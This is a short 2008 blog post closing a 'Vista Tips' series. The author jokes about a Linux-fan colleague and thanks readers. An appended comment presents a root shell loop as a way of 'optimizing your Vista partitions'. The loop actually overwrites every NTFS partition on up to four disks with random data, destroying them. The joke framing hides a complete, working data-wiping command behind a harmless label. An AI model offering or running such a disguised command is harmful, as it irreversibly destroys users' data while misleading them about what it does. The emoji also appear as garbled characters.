Vista Tip 29: Famous Last Words…
February 29, 2008 Jens

This great tip is masterminded by a colleague of mine, Prakash Punnoor, who fell in love with the Penguin OS.

He says that

…would be the right thing to do with Vista.

Well, as you may have guessed, I don’t share his opinion šŸ˜‰

No really, I like Vista. It’s not perfect, but it’s on the right way. SP1 won’t fix all problems and the Media Center still has a long way to go, but it never really let me down since I first installed it using the Beta 2. And since this is the last tip in the Vista Tips Galore, I thank you all for reading and for your feedback.

    As Jens left out the details of optimizing your Vista partitions, here they come šŸ˜‰ :

    Boot eg. knoppix and run as root (or with sudo):

    for part in `fdisk -l /dev/[s,h]d[a,b,c,d]|grep NTFS|cut -d ‘ ‘ -f 1`; do cat /dev/urandom>$part; done

    I assume, you have a maximum of 4 harddisks installed. šŸ˜‰
